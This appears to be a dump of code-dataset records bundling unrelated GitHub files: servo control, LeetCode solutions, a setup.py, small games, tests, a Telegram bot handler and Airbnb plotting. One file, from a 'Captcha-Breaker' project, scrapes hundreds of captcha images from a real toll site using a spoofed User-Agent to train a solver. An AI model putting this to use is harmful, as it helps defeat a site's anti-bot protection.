self.id[0] == 0:\n\t\t\tself.setAngleLim(0, Servo.LIM_FF) # servo 0 folding fan\n\t\tfor i in range(1,self.curr_legs+1):\n\t\t\tself.setAngleLim(i*3-2, Servo.LIM_1J)\n\t\t\tif self.num > 1:\n\t\t\t\tself.setAngleLim(i*3-1, Servo.LIM_2J)\n\t\t\t\tself.setAngleLim(i*3, Servo.LIM_3J)\n\t\tself.printAngleLim()\n\t\n\tdef setOffset(self):\n\t\tos = [0] * self.tot_servo\n\t\tos[0] = Servo.OS_FF\t# servo 0 folding fan\n\t\tfor i in range(1,self.tot_legs+1):\n\t\t\tos[i*3-2] = Servo.OS_1J\n\t\t\tos[i*3-1] = Servo.OS_2J\n\t\t\tos[i*3] =\tServo.OS_3J\n\t\tself.offset = os\n\n\tdef conv_from_servo(self,i,a):\n\t\treturn (a - self.offset[i]) * Servo.DEG_TO_RAD\n\t\n\tdef conv_to_servo(self,i,a):\n\t\treturn a * Servo.RAD_TO_DEG + self.offset[i]\n\n\tdef rangeAngleEx(self,a):\n\t\tif a < Servo.MIN_ANGLE: a = Servo.MIN_ANGLE\n\t\tif a > Servo.MAX_ANGLE: a = Servo.MAX_ANGLE\n\t\ta = int(a * Servo.DEG_TO_EXA)\n\t\treturn a\n\t\n\tdef printAngleLim(self):\n\t\tfor i in range(self.num):\n\t\t\tif self.id[0] == 0:\n\t\t\t\tj = i\n\t\t\telse:\n\t\t\t\tj = i+1\n\t\t\tprint(f\"Angle limits servo ID {self.id[i]} = ({self.lim_cw[j]}, {self.lim_ccw[j]})\")\n\t\t\t\n\tdef checkChangedAngle(self,i,a):\n\t\tca = self.curr_angles[i]\n\t\tif ca > a + 1 or ca < a - 1:\n\t\t\treturn 1\n\t\telse:\n\t\t\treturn 0\n\t\n\tdef checkChangedAngles(self,a):\n\t\tfor i in range(self.num):\n\t\t\tca = self.curr_angles[i]\n\t\t\tif ca > a[i] + 1 or ca < a[i] - 1:\n\t\t\t\treturn 1\n\t\treturn 0\n\n\tdef printAngles(self):\n\t\tfor i in range(self.num):\n\t\t\ta = self.curr_angles[i]\n\t\t\tprint(f\"Angle servo ID {self.id[i]} = ({a})\", end=\"\")\n\t\t\tif a < 10:\t\t\t\tprint(\"       \", end=\"\")\n\t\t\tif a >= 10 and a < 100:\tprint(\"      \", end=\"\")\n\t\t\telse:\t\t\t\t\tprint(\"     \", end=\"\")\n\t\tprint(\"\\n\")\n\t\n\tdef printVoltage(self):\n\t\tfor i in range(self.num):\n\t\t\tv = self.checkVoltage(i)\n\t\t\tprint(f\"Voltage servo ID {self.id[i]} = ({v})\", end=\"     \")\n\t\tprint(\"\\n\")\n\t\n\tdef setAngle(self,i,a,speed=100): # i is always the position in order, not the ID of the servo\n\t\ta = self.rangeAngleEx(a)\n\t\tself.ax.moveSpeed(self.id[i], a, speed)\n\t\tself.updateAngles()\n\t\n\tdef setAngleAll(self,b,speed=50):\n\t\tfor i in range(self.num):\n\t\t\ta = self.rangeAngleEx(b[i])\n\t\t\tself.ax.moveSpeed(self.id[i], a, speed)\n\t\tself.updateAngles()\n\t\n\tdef enableTorqueAll(self):\n\t\tfor i in range(self.num):\n\t\t\tself.ax.setTorqueStatus(self.id[i],1)\n\t\n\tdef disableTorqueAll(self):\n\t\tfor i in range(self.num):\n\t\t\tself.ax.setTorqueStatus(self.id[i],0)\n\t\n\tdef printTorqueStatus(self):\n\t\tfor i in range(self.num):\n\t\t\tprint(f\"Torque enable servo ID {self.id[i]} = ({self.ax.readTorqueStatus(self.id[i])})\", end=\"     \")\n\t\tprint()\n\t\n\tdef printTorqueLimit(self):\n\t\tfor i in range(self.num):\n\t\t\tprint(f\"Torque limit servo ID {self.id[i]} = ({self.ax.readTorqueLimit(self.id[i])})\", end=\"     \")\n\t\tprint()\n\n\tdef changeID(self,i,newID):\n\t\tself.ax.setID(self.id[i], newID)\n\t\tself.id[i] = newID\n\t\tsleep(Servo.DELAY)\n\t\tprint(\"Updated list of ID = \", self.id)\n\t\n\tdef blink(self,time=1):\n\t\tfor i in self.id: self.ax.setLedStatus(i,1)\n\t\tsleep(time)\n\t\tfor i in self.id: self.ax.setLedStatus(i,0)\n\t\tsleep(time)\n\t\n\tdef offLED(self):\n\t\tfor i in self.id:\n\t\t\tself.ax.setLedStatus(i, 0)\n\t\t\tsleep(Servo.DELAY)","repo_name":"eliazuccaro/Spherical_hexapod","sub_path":"scripts_onboard/support/servo_old2.py","file_name":"servo_old2.py","file_ext":"py","file_size_in_byte":7467,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"}
{"seq_id":"24493728720","text":"# Definition for a binary tree node.\n# class TreeNode:\n#     def __init__(self, val=0, left=None, right=None):\n#         self.val = val\n#         self.left = left\n#         self.right = right\nclass Solution:\n    def evaluateTree(self, root: Optional[TreeNode]) -> bool:\n        def help(root):\n            if root.val==1 or root.val==0:\n                return root.val \n            if root.val==2:\n                l=help(root.left) \n                r= help(root.right)\n                if l==1 or r==1:\n                    root.val= 1 \n                else:\n                    root.val=0 \n            if root.val==3:\n                l=help(root.left) \n                r= help(root.right)\n                if l==1 and r==1:\n                    root.val= 1 \n                else:\n                    root.val=0 \n            return root.val\n        return help(root)\n        ","repo_name":"tanuchaurasiya/Leetcode","sub_path":"2331-evaluate-boolean-binary-tree/2331-evaluate-boolean-binary-tree.py","file_name":"2331-evaluate-boolean-binary-tree.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"74053290023","text":"#!/usr/bin/env python\nfrom setuptools import find_packages, setup\n\ninstall_requires = [\n    'wagtail>=2.0',\n]\n\ndocs_require = [\n    'sphinx>=1.4.0',\n]\n\ntests_require = [\n    'pytest-cov==2.4.0',\n    'pytest-django==3.1.2',\n    'pytest==3.0.5',\n    'requests-mock==1.1.0',\n\n    # Linting\n    'isort==4.2.5',\n    'flake8==3.0.3',\n    'flake8-blind-except==0.1.1',\n    'flake8-debugger==1.4.0',\n    'flake8-imports==0.1.0',\n]\n\nsetup(\n    name='wagtail-audit-trail',\n    version='1.3.0',\n    description=\"Wagtail audit trail\",\n    long_description=open('README.rst', 'r').read(),\n    url='https://github.com/labd/wagtail-audit-trail',\n    author=\"Lab Digital\",\n    author_email=\"opensource@labdigital.nl\",\n    install_requires=install_requires,\n    tests_require=tests_require,\n    extras_require={\n        'docs': docs_require,\n        'test': tests_require,\n    },\n    entry_points={},\n    package_dir={'': 'src'},\n    packages=find_packages('src'),\n    include_package_data=True,\n    license='MIT',\n    classifiers=[\n        'Development Status :: 3 - Alpha',\n        'Environment :: Web Environment',\n        'Framework :: Django',\n        'Framework :: Django :: 1.11',\n        'License :: OSI Approved :: MIT License',\n        'Programming Language :: Python',\n        'Programming Language :: Python :: 3',\n        'Programming Language :: Python :: 3.6',\n    ],\n    zip_safe=False,\n)\n","repo_name":"labd/wagtail-audit-trail","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1388,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"36"}
{"seq_id":"13987691618","text":"from collections import defaultdict\n\n\nclass Solution:\n    def numberOfBoomerangs(self, points):\n        n = len(points)\n        dist = defaultdict(lambda: 0)\n        for i in range(n):\n            x1, y1 = points[i]\n            for j in range(i):\n                x2, y2 = points[j]\n                d = (x1 - x2) ** 2 + (y1 - y2) ** 2\n                dist[(i, d)] += 1\n                dist[(j, d)] += 1\n        ans = 0\n        for _, n in dist.items():\n            if n > 1:\n                ans += n * (n - 1)\n        return ans\n","repo_name":"dariomx/topcoder-srm","sub_path":"leetcode/first-pass/google/number-of-boomerangs/Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"74626869865","text":"import art\nimport random\nfrom game_data import data\nfrom replit import clear\n\n\n\n#FUNCIONES:\n#funcion para elegir un pj random de la lista:\ndef random_character(data):\n  character = {}\n  random_index = random.randint(0, len(data)-1)\n  character= data[random_index]\n  data.pop(random_index)\n  return character\n\n#funcion para comparar valores y retornar el resultado (gana o pierde):\ndef compare_values(a_char, b_char, user_input):\n  user_win = False\n  a_option = 'a'\n  b_option = 'b'\n  if a_char['follower_count'] > b_char['follower_count']:\n    if user_input == a_option:\n      user_win = True\n  elif a_char['follower_count'] < b_char['follower_count']:\n    if user_input == b_option:\n      user_win = True\n  return user_win\n\n\n#variables fuera del ciclo\na_char = random_character(data)\nb_char = random_character(data)\nscore = 0\nwrong_message = f\"Sorry, that's wrong. Final score: {score}.\"\nright_message = f\"You're right! Current score: {score}.\"\nempty_list = \"We ran out of characters! Thank you for playing.\"\nplaying = True\n\n#Ciclo\nwhile playing:\n  a_compare = f\"Compare A: {a_char['name']} a {a_char['description']} from {a_char['country']}.\\n\"\n  b_compare = f\"Against B: {b_char['name']} a {b_char['description']} from {b_char['country']}.\\n\"\n  print(art.logo)\n  #pantalla con prints\n  if score != 0:\n    print(f\"You're right! Current score: {score}.\")\n  print(a_compare)\n  print(art.vs)\n  print(b_compare)\n  #eleccion del usuario\n  user_input = input(\"Who has more followers? Type 'A' or 'B': \").lower()\n  #se comparan los followers y devuelve el resultado\n  result = compare_values(a_char, b_char, user_input)\n  #resultado\n  if result == True:\n    score += 1\n    if data == []:\n      print(empty_list)\n      playing = False\n    clear()\n    a_char = b_char\n    b_char = random_character(data)\n  else:\n    print(f\"Sorry, that's wrong. Final score: {score}.\")\n    playing = False\n\n","repo_name":"diegosadrinas/HigherLower-Game","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"36288929394","text":"from spetlrtools.testing import DataframeTestCase\n\nfrom spetlr import Configurator\nfrom spetlr.delta import DeltaHandle\nfrom spetlr.etl import Orchestrator\nfrom spetlr.etl.extractors import SimpleExtractor\nfrom spetlr.etl.loaders import SimpleLoader\nfrom spetlr.etl.transformers.SimpleSqlTransformer import SimpleSqlTransformer\nfrom spetlr.spark import Spark\nfrom tests.cluster.transformations import sql\n\n\nclass SimpleSqlTransformerTest(DataframeTestCase):\n    @classmethod\n    def setUpClass(cls):\n        c = Configurator()\n        c.clear_all_configurations()\n        c.set_debug()\n        c.register(\"db\", {\"name\": \"SimpleSqlTransformerTestDb{ID}\"})\n        c.register(\"tbl1\", {\"name\": \"{db}.tbl1\"})\n        c.register(\"tbl2\", {\"name\": \"{db}.tbl2\"})\n        c.register(\"tbl3\", {\"name\": \"{db}.tbl3\"})\n\n        db = c.get(\"db\", \"name\")\n        tbl1 = c.get(\"tbl1\", \"name\")\n        tbl2 = c.get(\"tbl2\", \"name\")\n        tbl3 = c.get(\"tbl3\", \"name\")\n\n        spark = Spark.get()\n        spark.sql(f\"CREATE DATABASE {db};\")\n        spark.sql(f\"\"\"CREATE TABLE {tbl1} (a int, b int) USING DELTA;\"\"\")\n        spark.sql(f\"\"\"CREATE TABLE {tbl2} (a int, c int) USING DELTA;\"\"\")\n        spark.sql(f\"\"\"CREATE TABLE {tbl3} (a int, b int, c int) USING DELTA;\"\"\")\n\n        spark.createDataFrame([(1, 2)], \"a int, b int\").write.mode(\n            \"overwrite\"\n        ).saveAsTable(tbl1)\n        spark.createDataFrame([(1, 3)], \"a int, c int\").write.mode(\n            \"overwrite\"\n        ).saveAsTable(tbl2)\n\n    @classmethod\n    def tearDownClass(cls) -> None:\n        Spark.get().sql(f\"\"\"DROP DATABASE {Configurator().get('db','name')} CASCADE\"\"\")\n\n    def test_all(self):\n        o = Orchestrator()\n        o.extract_from(\n            SimpleExtractor(DeltaHandle.from_tc(\"tbl1\"), dataset_key=\"FirstTable\")\n        )\n        o.extract_from(\n            SimpleExtractor(DeltaHandle.from_tc(\"tbl2\"), dataset_key=\"SecondTable\")\n        )\n        o.transform_with(\n            SimpleSqlTransformer(\n                sql_modue=sql,\n                sql_file_pattern=\"transform\",\n                dataset_input_keys=[\"FirstTable\", \"SecondTable\"],\n                dataset_output_key=\"SimpleSqlTransformerTestResult\",\n            )\n        )\n        o.load_into(SimpleLoader(DeltaHandle.from_tc(\"tbl3\")))\n        o.execute()\n\n        self.assertDataframeMatches(\n            DeltaHandle.from_tc(\"tbl3\").read(), None, [(1, 2, 3)]\n        )\n","repo_name":"spetlr-org/spetlr","sub_path":"tests/cluster/transformations/test_simple_sql_transformer.py","file_name":"test_simple_sql_transformer.py","file_ext":"py","file_size_in_byte":2415,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"36"}
{"seq_id":"26976778851","text":"from queue import Queue\ndef verticalOrder(self, root): \n        topnode = {}\n\n        q = Queue()\n\n        q.put((root, 0))\n\n        \n\n        while not q.empty():\n\n            node, hzd = q.get()\n\n            try:\n                topnode[hzd].append(node.data)\n            except:\n                topnode[hzd] = [node.data]\n\n            \n\n            if node.left:\n\n                q.put((node.left, hzd - 1))\n\n            if node.right:\n\n                q.put((node.right, hzd + 1))\n\n                \n\n        ans = []\n\n        for i in sorted(topnode.keys()):\n            for j in topnode[i]:\n                ans.append(j)\n\n        return ans","repo_name":"Manoj-895/DSA-Python","sub_path":"Trees/Vertical Traversal.py","file_name":"Vertical Traversal.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"13489320539","text":"\n\"\"\"\nIt will be responsible for downloading image  captchas from our website \nand save it into our disk\n\nit will store the raw captcha images to our disk\n\nheaders = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36'}\n\n\n\"\"\"\n\nimport requests\n#the requests library will make http connections easy and heavily used in python\nimport argparse\nimport os\nimport time\n\nurl=\"https://www.e-zpassny.com/vector/jcaptcha.do\"\n\nap=argparse.ArgumentParser()\nap.add_argument(\"-u\",\"--url\",help=\"if the images are to be downloaded from url give url\",required=False,default=url)\nap.add_argument(\"-o\",\"--output\",required=True,help=\" path to save the images\")\nap.add_argument(\"-n\",\"--number\",type=int,default=500,help=\"# of images to download\")\nargs=vars(ap.parse_args())\n\n\ntotal=0 \n\nfor i in range(0,args[\"number\"]):\n    try:\n        #requesting web page from our script\n        r=requests.get(args['url'],timeout=60, headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.3'})\n        \n        #save the image\n        p = os.path.sep.join([args[\"output\"],\"{}.jpg\".format(str(total).zfill(5))])\n        #Str().zfill() Returns a copy of the string with '0' characters padded to the leftside of the given string.\n        #ex zfill(3) ==> 000name\n        f= open(p,\"wb\")\n        f.write(r.content)\n        f.close()\n        \n        print(\"[INFO..] Downloaded image {}\".format(total))\n        total+=1\n        \n    except:\n        print(\"Error downloading image\")\n        \n    time.sleep(0.2)\n","repo_name":"pavan555/Captcha-Breaker","sub_path":"download_images.py","file_name":"download_images.py","file_ext":"py","file_size_in_byte":1625,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"}
{"seq_id":"39991972569","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[27]:\n\n\nimport matplotlib.pyplot as plt\n\n\n# In[71]:\n\n\n# line plot\nplt.figure(figsize=(10,3))\n# cty 1\nx = [2016, 2017, 2018, 2019, 2020, 2021]\ny = [45, 46, 48, 50, 52, 60]\n# cty 2\nx2 = [2016, 2017, 2018, 2019, 2020, 2021]\ny2 = [41, 42, 44, 45, 52, 57]\nplt.plot(x, y, marker='o', linestyle='-.', color='g', label='mongolia')\nplt.plot(x2, y2, marker='d', linestyle='-', color='b', label='congo')\nplt.xlabel('Year')\nplt.ylabel('Population (M)')\nplt.title('years vs population')\nplt.legend(loc='upper center')\nplt.yticks([45, 50, 55, 60])\nplt.savefig('cty.png')\nplt.show()\n\n\n# In[76]:\n\n\n#subplots\nfig, ax = plt.subplots(1, 2, sharey=True) # rows and cols\nax[0].plot(x,y,color='r')\nax[1].plot(x2,y2,color='b')\nplt.show()\n\n\n# In[70]:\n\n\n# Bar Plots\nplt.figure(figsize=(8,3))\nbar1 = ['asia', 'america', 'europe', 'oceania', 'africa']\nbar2 = [30, 20, 20, 5, 25]\nplt.bar(bar1, bar2)\nplt.show()\n\n\n# In[48]:\n\n\n# pie\nplt.pie(y, labels=x)\nplt.show()\n\n\n# In[57]:\n\n\n# histogram\nconts = ['asia', 'america', 'europe', 'oceania', 'africa']\npers = [30, 15, 25, 5, 25]\nbins = [5,10,15,20,25,30,35]\nplt.hist(pers,bins,edgecolor='black')\nplt.show()\n\n\n# In[69]:\n\n\n# scatterplot\nconts = ['asia', 'america', 'europe', 'oceania', 'africa']\nscat1 = [30,15,25,5,25,50]\nscat2 = [5,10,12,2,1,4]\nplt.scatter(scat1,scat2)\nplt.show()\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"fg0611/path-to-data-science","sub_path":"world-population/plotlib.py","file_name":"plotlib.py","file_ext":"py","file_size_in_byte":1357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"72908311784","text":"def are_anagrams(str1, str2):\n    if len(str1) != len(str2):\n        return False\n\n    char_count = {}\n    \n    # Подсчитываем частоту каждого символа в первой строке\n    for char in str1:\n        char_count[char] = char_count.get(char, 0) + 1\n\n    # Уменьшаем частоту каждого символа во второй строке\n    for char in str2:\n        if char in char_count:\n            char_count[char] -= 1\n        else:\n            return False\n\n    # Проверяем, что все частоты стали равны нулю\n    for count in char_count.values():\n        if count != 0:\n            return False\n\n    return True\n\nif __name__ == \"__main__\":\n    str1 = input().strip()\n    str2 = input().strip()\n\n    result = 1 if are_anagrams(str1, str2) else 0\n    print(result)","repo_name":"TatsianaPoto/yandex","sub_path":"Аlgorithms/5_are_anagrams.py","file_name":"5_are_anagrams.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"8721623881","text":"import numpy as np\nimport numpy.random as rd\nimport matplotlib.pyplot as plt\nimport seaborn as sns  # noqa\nfrom itertools import islice\n\nfrom ibm_rng import ibm_rng\n\nfrom pylatex import Plt\n\n\nN = 1000\n\n\ndef main():\n    dist_to_tex('np_random.tex', 'Numpy RNG', *get_random_pairs(N).T)\n\n    ibm_gen = ibm_rng(1)\n    dist_to_tex('ibm_random.tex', 'IBM RNG',\n                take_samples(ibm_gen), take_samples(ibm_gen))\n\n\ndef take_samples(gen, n=N):\n    return np.array(list(islice(gen, n)))\n\n\ndef dist_to_tex(filename, caption, x, y):\n    plot_distribution(x, y, show=False)\n    with open(filename, 'w') as f:\n        plot = Plt(position='htbp')\n        plot.add_plot(plt)\n        plot.add_caption(caption)\n\n        plot.dump(f)\n\n\ndef plot_distribution(x, y, show=True):\n    sns.jointplot(x, y, stat_func=None)\n    if show:\n        plt.show()\n\n\ndef get_random_pairs(n):\n    return rd.rand(n, 2)\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"JelteF/statistics","sub_path":"3/uniform.py","file_name":"uniform.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"19022782415","text":"from aiogram.dispatcher.filters.state import State, StatesGroup\r\nfrom aiogram.dispatcher import FSMContext\r\nfrom aiogram import types\r\nfrom aiogram.dispatcher.filters import Text\r\n\r\nfrom main import dp, admins_id\r\nfrom utils.db_api.db_quick_commands import add_contest\r\n\r\n\r\nclass FSMAdmin(StatesGroup):\r\n    name = State()\r\n    photo = State()\r\n    description = State()\r\n    price = State()\r\n\r\n\r\n@dp.message_handler(state=\"*\", text=\"Отмена\")\r\n@dp.message_handler(Text(equals=\"Отмена\", ignore_case=True), state=\"*\")\r\nasync def cancel_handler(message: types.Message, state: FSMContext):\r\n    current_state = await state.get_state()\r\n    if current_state is None:\r\n        return\r\n    await state.finish()\r\n    await message.reply(\"Ввод отменен\")\r\n\r\n\r\n@dp.message_handler(content_types=types.ContentType.TEXT, text=\"Добавить конкурс\")\r\nasync def start_command(message: types.Message, state: FSMContext):\r\n    if str(message.from_user.id) in admins_id:\r\n        await FSMAdmin.name.set()\r\n        await message.reply(\"Введите название конкурса\")\r\n\r\n\r\n@dp.message_handler(state=FSMAdmin.name)\r\nasync def add_name(message: types.Message, state: FSMContext):\r\n    if str(message.from_user.id) in admins_id:\r\n        async with state.proxy() as data:\r\n            data[\"name\"] = message.text\r\n        await FSMAdmin.next()\r\n        await message.reply(\"Добавте фото конкурса\")\r\n\r\n\r\n@dp.message_handler(content_types=[\"photo\"], state=FSMAdmin.photo)\r\nasync def add_photo(message: types.Message, state: FSMContext):\r\n    if str(message.from_user.id) in admins_id:\r\n        async with state.proxy() as data:\r\n            data[\"photo\"] = message.photo[0].file_id\r\n        await FSMAdmin.next()\r\n        await message.reply(\"Введите описание конкурса\")\r\n\r\n\r\n@dp.message_handler(state=FSMAdmin.description)\r\nasync def add_description(message: types.Message, state: FSMContext):\r\n    if str(message.from_user.id) in admins_id:\r\n        async with state.proxy() as data:\r\n            data[\"description\"] = message.text\r\n        await FSMAdmin.next()\r\n        await message.reply(\"Введите взнос\")\r\n\r\n\r\n@dp.message_handler(state=FSMAdmin.price)\r\nasync def add_price(message: types.Message, state: FSMContext):\r\n    if str(message.from_user.id) in admins_id:\r\n        async with state.proxy() as data:\r\n            data[\"price\"] = float(message.text.replace(\",\", \".\"))\r\n\r\n        async with state.proxy() as data:\r\n            if add_contest(data):\r\n                await message.answer(\"Конкурс добавлен\")\r\n            else:\r\n                await message.answer(\"Конкурс не добавлен.\\nНе коррекртные данные\")\r\n        await state.finish()\r\n","repo_name":"A-Sergey/TelegramBot_Contest","sub_path":"handlers/admin/add_contest.py","file_name":"add_contest.py","file_ext":"py","file_size_in_byte":2790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"27560363599","text":"import unittest\nfrom neural_network import Neuron, Connection, NeuralNetwork, Innovations\n\nclass Test_test_1(unittest.TestCase):\n    def test_network_size(self):\n        self.global_innovations = Innovations(0, {}) # initialize global innovations object\n        self.nn = NeuralNetwork(5, 0, 5, [], [], self.global_innovations)\n\n        self.assertTrue(self.nn.network_size() == 10)\n\n    def test_weight_mutation(self):\n        self.n_in = Neuron(1.0, [], [], 1, 1)\n        self.n_out = Neuron(0, [], [], 3, 2)\n\n        self.test_conn = Connection(self.n_in, self.n_out, 0, 1)\n\n        self.assertTrue(-1.0 <= self.test_conn.weight <= 1.0)\n        self.test_conn.mutate_weight()\n        self.assertTrue(-1.0 <= self.test_conn.weight <= 1.0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"kmcalpine/evolving_neural_nets","sub_path":"src/test_1.py","file_name":"test_1.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"17230774451","text":"x= int(input(\"Enter the first number\"))\ny= int(input(\"Enter the secomd number\"))\n\ndef lcm(num1,num2):\n     if num1>num2:\n         gratter=num1\n     else:\n         gratter=num2\n\n     while(True):\n        if(gratter%num1==0) and (gratter%num2==0):\n            ans= gratter\n            break\n        gratter +=1 \n    \n     return ans \n\nprint(f\"LCM of the number {x,y} is\", lcm(x,y))\n","repo_name":"tapreaniket08/python-coding-question","sub_path":"lcm.py","file_name":"lcm.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"32083534037","text":"import pandas as pd\nimport numpy as np\nfrom matplotlib.colors import ListedColormap \nimport seaborn as sns\nimport matplotlib.pyplot as plt\nsns.set_style(\"darkgrid\", {'font.family':'serif'})\nplt.style.use(\"seaborn-darkgrid\")\ncolor = ['#fccbcb','#F99797', '#F76C6C', '#ABD0E6', '#23305E']\ncmap = ListedColormap(color)\ncolor2 = ['#90113f', '#afb5c0', '#e39292', '#61749f', '#b4d5ea', '#c26f6d']\n\n#====================================== Data Airbnb Singapore ============================================\ndf = pd.read_csv('data-airbnbsg.csv')\n\nhost_features = ['total_price','host_is_superhost','scores_rating', 'host_response_rate','scores_communication', 'scores_cleanliness','scores_checkin' , 'scores_communication','scores_location', 'number_of_reviews', 'reviews_per_month']\nlistings_features = ['total_price', 'number_of_reviews', 'bathrooms', 'bedrooms', 'beds', 'accommodates', 'area','region','property_type', 'room_type', 'scores_location', 'scores_cleanliness', 'scores_rating']\n\n# Property type data  --------------------------------------------------------------------------------\na = df['property_type'].value_counts().reset_index()\nfig = plt.figure(figsize=(10,10))\nax =sns.barplot(y='index', x='property_type', data=a, palette=color)\nplt.xlabel('Property Type')\nplt.ylabel('Count')\nplt.title('Airbnb Listings by Property Type', fontsize=15, weight='bold')\nfor p in ax.patches:\n    ax.text(p.get_width()+50, p.get_height()/2 + p.get_y(), int(p.get_width()) ,ha=\"center\")\nplt.show()\nplt.close()\n\na['persen'] = a['property_type'] / len(df) *100\n# print(a)\na = a[a['persen'] > 4]['index']\na = a.tolist()\ndf = df[df['property_type'].isin(a)]\n\n#================================================= Exploring the Data =================================================\n\n# Figure : Listings by Region\na = df['region'].value_counts().reset_index().sort_values(by='index').reset_index(drop=True)\nf, ax = plt.subplots(ncols=2, nrows=1, figsize=(12, 8))\nsns.barplot(y='index', x='region', data=a, palette=color, ax=ax[0])\nax[0].set(xlabel='Count of Property Type', ylabel='')\nax[0].set_title('Airbnb Listings by Region', fontsize=15, weight='bold')\nnumListing =[]\nfor p in ax[0].patches:\n    ax[0].text(p.get_width()+170, p.get_height()/2 + p.get_y(), int(p.get_width()), ha=\"center\")\n    numListing.append(int(p.get_width()))\n# Figure : Bookings by Region    \na = df.groupby(by=['region'], as_index=False).number_of_reviews.sum()\nsns.barplot(y='region', x='number_of_reviews', data=a, palette=color, ax=ax[1])\nax[1].set(xlabel='Numbers of Booking', ylabel='')\nax[1].set_title('Airbnb Bookings in Singapore', fontsize=15, weight='bold')\nfor p in ax[1].patches:\n    ax[1].text(p.get_width()+2600, p.get_height()/2 + p.get_y(), int(p.get_width()) ,ha=\"center\")\nplt.tight_layout()\nplt.show()\na['numListing'] = numListing\na['supply-demand'] = numListing/a['number_of_reviews'] *100\nprint(a)\n\n\n# Figure : Number of Listings by sub-district in Singapore ----------------------------------------\nf, ax = plt.subplots(ncols=2, nrows=1, figsize=(10, 6))\na = df.groupby(['area', 'property_type']).size().unstack()\n# print(a)\na.plot(kind='barh', stacked=True, ax=ax[0], color=color)\nax[0].set_title('Number of Listings by Subdistrict', fontsize=12)\nax[0].set(xlabel='Count of Property', ylabel='')\nax[0].yaxis.grid(True)\nax[0].legend()\n# Figure : Number of Property_type ----------------------------------------------------------------------\na = df['property_type'].value_counts().reset_index().sort_values(by='index').reset_index(drop=True)\nsns.barplot(\n    x='property_type', y='index', data=a,\n    label=\"Property type\", palette=color, ax= ax[1])\nax[1].set(xlabel='Count of Property Type', ylabel='')\nax[1].set_title('Number of Listings by Property', fontsize=12)\nax[1].yaxis.grid(True)\nplt.suptitle('Airbnb in Central Singapore Area', fontsize=18, weight='bold')\nplt.subplots_adjust(top=.88, wspace=0.3)\nplt.show()\nplt.close()\n\n# Figure : Property_type vs price ---------------------------------------------------------------------\nf, ax = plt.subplots(figsize=(10, 8), ncols=2, nrows=1)\nax[0].set_xscale(\"log\")\n\nsns.boxplot(x=\"total_price\", y=\"property_type\", data=df,\n            whis=\"range\", palette=color, ax=ax[0])\n\nax[0].set_title(\"Price by Property Type\", fontsize=15, weight='bold')\nax[0].xaxis.grid(True)\nax[0].set(xlabel=\"Price\",ylabel=\"\")\n# Figure : Room_type vs price -----------------------------------------------------------------------------\nax[1].set_xscale(\"log\")\n\nsns.boxplot(x=\"total_price\", y=\"room_type\", data=df,\n            whis=\"range\", palette=color, ax=ax[1])\n\nax[1].set_title(\"Price by Room Type\", fontsize=15, weight='bold')\nax[1].xaxis.grid(True)\nax[1].set(xlabel=\"Price\",ylabel=\"\")\nplt.tight_layout()\nplt.show()\nplt.close()\n\n# Figure : Price per guest ------------------------------------------------------------------------------\nf, ax = plt.subplots(figsize=(14, 10))\n\nsns.heatmap(df.groupby([\n        'area', 'accommodates']).total_price.median().unstack(),\n            annot=True, \n            fmt=\".0f\",\n           cmap=cmap)\nax.set(xlabel=\"Maximum Number of Guest\",ylabel=\"\")           \nax.set_title('Price (USD) per Guest', fontsize=15, weight='bold')\nplt.show()\nplt.close()\n# Figure : Area vs price -----------------------------------------------------------------------------\ndf.plot(kind=\"scatter\", x=\"longitude\", y=\"latitude\", alpha=0.4,c=\"total_price\", cmap=plt.get_cmap(\"gnuplot2_r\"), colorbar=True, figsize=(10,8))\nplt.title('Airbnb Singapore Price', fontsize=12)\n# plt.show()\nplt.close()\n# Figure : Area vs price -----------------------------------------------------------------------------\nfig, ax = plt.subplots(figsize = (10,8))\nsns.boxplot(x=\"area\", y=\"total_price\", data=df,\n            whis=\"range\", palette=color)\nax.set_yscale(\"log\")\nax.set_title(\"Price by Area\", fontsize=15, weight='bold')\nax.xaxis.grid(True)\nax.set(xlabel=\"\",ylabel=\"Price\")\nax.set_xticklabels(ax.get_xticklabels(), rotation=90)\nplt.tight_layout()\nplt.subplots_adjust(bottom= .28)\nplt.show()\nplt.close()\n\n# Figure : Number of Super Host Listings  ----------------------------------------------------------------\nf, ax = plt.subplots(figsize=(10, 8))\na = 